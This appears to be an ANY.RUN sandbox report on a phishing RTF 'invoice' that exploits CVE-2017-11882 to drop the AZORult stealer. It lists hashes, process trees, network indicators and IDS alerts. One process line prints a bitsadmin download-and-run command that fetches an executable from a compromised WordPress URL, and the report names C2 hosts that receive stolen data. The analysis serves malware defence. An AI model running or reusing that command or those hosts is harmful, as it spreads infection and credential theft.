analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

po&revised invoice.doc

Full analysis: https://app.any.run/tasks/e401ed61-1d69-4d9f-914d-b8db659dfb04
Verdict: Malicious activity
Threats:

AZORult can steal banking information, including passwords and credit card details, as well as cryptocurrency. This constantly updated information stealer malware should not be taken lightly, as it continues to be an active threat.

Analysis date: January 17, 2019, 16:12:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
loader
opendir
trojan
autoit
rat
azorult
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

20653485731756A4FD6DC9BF04AD9627

SHA1:

161C28517AC00D934A28510AF934DF9AB024EBB6

SHA256:

3BE7647A70B34C2D530BDB7BD7970AE90EF2271FEB2ECB766936A28C1DCDC94C

SSDEEP:

6144:L/LiNLmn7/3AcWPXeduxyW8QWc6lNj7dyoyRzUr+HUKTBX8++tmnHy3TT1s5AnFI:bWNi7/pWPeduxyW1Wc6Xj77KTKVNBFlo

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3352)
    • Uses BITADMIN.EXE for downloading application

      • cmd.exe (PID: 4028)
    • Application was dropped or rewritten from another process

      • ssq.exe (PID: 2848)
      • MSWord.exe (PID: 2868)
      • ssq.exe (PID: 2720)
    • AZORULT was detected

      • RegSvcs.exe (PID: 2284)
    • Actions looks like stealing of personal data

      • RegSvcs.exe (PID: 2284)
    • Connects to CnC server

      • RegSvcs.exe (PID: 2284)
    • Changes the autorun value in the registry

      • ssq.exe (PID: 2720)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3352)
    • Drop AutoIt3 executable file

      • MSWord.exe (PID: 2868)
    • Executable content was dropped or overwritten

      • MSWord.exe (PID: 2868)
    • Application launched itself

      • ssq.exe (PID: 2848)
    • Reads the cookies of Google Chrome

      • RegSvcs.exe (PID: 2284)
    • Reads the cookies of Mozilla Firefox

      • RegSvcs.exe (PID: 2284)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2992)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2992)
    • Application was crashed

      • EQNEDT32.EXE (PID: 3352)
    • Dropped object may contain Bitcoin addresses

      • ssq.exe (PID: 2848)
      • MSWord.exe (PID: 2868)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

InternalVersionNumber: 57433
CharactersWithSpaces: 1263
Characters: 1077
Words: 188
Pages: 1
TotalEditTime: 47 minutes
RevisionNumber: 28
ModifyDate: 2018:12:31 11:10:00
CreateDate: 2018:01:23 22:18:00
LastModifiedBy: BINGHERO
Author: obidah qudah
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
10
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs bitsadmin.exe no specs eqnedt32.exe no specs msword.exe ssq.exe no specs ssq.exe #AZORULT regsvcs.exe regsvcs.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2992"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\po&revised invoice.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3352"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
4028cmd.exe /c bitsadmin /transfer vW /priority foreground http://vairam.in/wp-content/plugins/contact-form-7/admin/includes/fileuae.exe %APPDATA%\MSWord.exe && start %APPDATA%\MSWord.exeC:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2672bitsadmin /transfer vW /priority foreground http://vairam.in/wp-content/plugins/contact-form-7/admin/includes/fileuae.exe C:\Users\admin\AppData\Roaming\MSWord.exe C:\Windows\system32\bitsadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3988"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEsvchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2868C:\Users\admin\AppData\Roaming\MSWord.exe C:\Users\admin\AppData\Roaming\MSWord.exe
cmd.exe
User:
admin
Company:
Xvid Solutions
Integrity Level:
MEDIUM
Description:
Xvid MiniConvert for Windows
Exit code:
0
Version:
1.0.0.0
2848"C:\Users\admin\AppData\Local\Temp\05361041\ssq.exe" aoo=vsg C:\Users\admin\AppData\Local\Temp\05361041\ssq.exeMSWord.exe
User:
admin
Company:
AutoIt Team
Integrity Level:
MEDIUM
Description:
AutoIt v3 Script
Exit code:
0
Version:
3, 3, 14, 5
2720C:\Users\admin\AppData\Local\Temp\05361041\ssq.exe C:\Users\admin\AppData\Local\Temp\05361041\XIYPTC:\Users\admin\AppData\Local\Temp\05361041\ssq.exe
ssq.exe
User:
admin
Company:
AutoIt Team
Integrity Level:
MEDIUM
Description:
AutoIt v3 Script
Exit code:
0
Version:
3, 3, 14, 5
2284"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
ssq.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
0
Version:
4.6.1055.0 built by: NETFXREL2
2568"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exessq.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Version:
4.6.1055.0 built by: NETFXREL2
Total events
2 335
Read events
1 594
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
0
Text files
49
Unknown types
2

Dropped files

PID
Process
Filename
Type
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRED23.tmp.cvr
MD5:
SHA256:
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\uxn.icotext
MD5:1051B85E11ED9522F49F14A5BB144D44
SHA256:CED727913CBC6112C86B86104C17F13237664DAFF60DF59F1C020B1B1FF659B9
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\wpu.mp4text
MD5:88008C10ABC3D819A0194F82DC92F3D5
SHA256:66391A4241C74F8FD1A1148619DFB9761A5A5D32A5D2823EC5D17A6048B02C32
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\hxm.dattext
MD5:2E1F48F5D018841B91068A7109960065
SHA256:42CFDF4DF645CDBD4571D32AC0AD9A7DE508D189A7C6CADBF1CF5F6D18991F46
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\xri.bmptext
MD5:7EA73CADF4AF7F842A3550C146EC7988
SHA256:D1A8CB1AD0F969996887FB99C890C0CDB73970DCC68CAB39EE9375B39F9A3DE0
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\vlr.docxtext
MD5:AE9EE5EBCCA430F4E2BD7DB8F66F4383
SHA256:16372F855E8CD9D4774F2BB7C692F5A85EE56BC3FA89CEDC8002B47CDDF9EB41
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\grw.xltext
MD5:308A119BA7AC4A4A661728789760328A
SHA256:60B9BF4297B5A1BB20781EF1A5E7F28822DDEB75C7330A60801D908CDC3A5FDD
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\mdx.xltext
MD5:9754465055E2A5FF6EACB1B4CF62EFA7
SHA256:42B2BCDF832B95ABD376F19554C5EAEE76977AC8F3CBBED4A224B495B1735468
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\loq.icotext
MD5:FA35C3FE32C905A54B54635404203755
SHA256:D4940CE83AD0574FD2F89A7747F113315991171766360CDA81B66630A86C609D
2868MSWord.exeC:\Users\admin\AppData\Local\Temp\05361041\ggw.bmptext
MD5:73FC38DB98544C1881FA60304EDA159E
SHA256:62661BA51B4D48975A81D5EBC9C8C7AA0434CB3CBAC860B2674DB4D5B452DF86
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
HEAD
200
43.243.118.33:80
http://vairam.in/wp-content/plugins/contact-form-7/admin/includes/fileuae.exe
SG
malicious
GET
200
43.243.118.33:80
http://vairam.in/wp-content/plugins/contact-form-7/admin/includes/fileuae.exe
SG
executable
942 Kb
malicious
2284
RegSvcs.exe
POST
200
5.39.217.209:80
http://donp.online/index.php
NL
binary
4.27 Mb
malicious
2284
RegSvcs.exe
POST
200
5.39.217.209:80
http://donp.online/index.php
NL
text
2 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
43.243.118.33:80
vairam.in
Dreamscape Networks Limited
SG
malicious
2284
RegSvcs.exe
5.39.217.209:80
donp.online
Hostkey B.v.
NL
malicious

DNS requests

Domain
IP
Reputation
vairam.in
  • 43.243.118.33
malicious
donp.online
  • 5.39.217.209
malicious

Threats

PID
Process
Class
Message
A Network Trojan was detected
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2284
RegSvcs.exe
A Network Trojan was detected
ET TROJAN AZORult Variant.4 Checkin M2
2284
RegSvcs.exe
A Network Trojan was detected
MALWARE [PTsecurity] AZORult client request
2284
RegSvcs.exe
A Network Trojan was detected
MALWARE [PTsecurity] AZORult HTTP Header
2284
RegSvcs.exe
A Network Trojan was detected
MALWARE [PTsecurity] AZORult HTTP Header
2284
RegSvcs.exe
A Network Trojan was detected
MALWARE [PTsecurity] AZORult client request
2284
RegSvcs.exe
A Network Trojan was detected
ET TROJAN Generic - POST To .php w/Extended ASCII Characters (Likely Zeus Derivative)
2 ETPRO signatures available at the full report
No debug info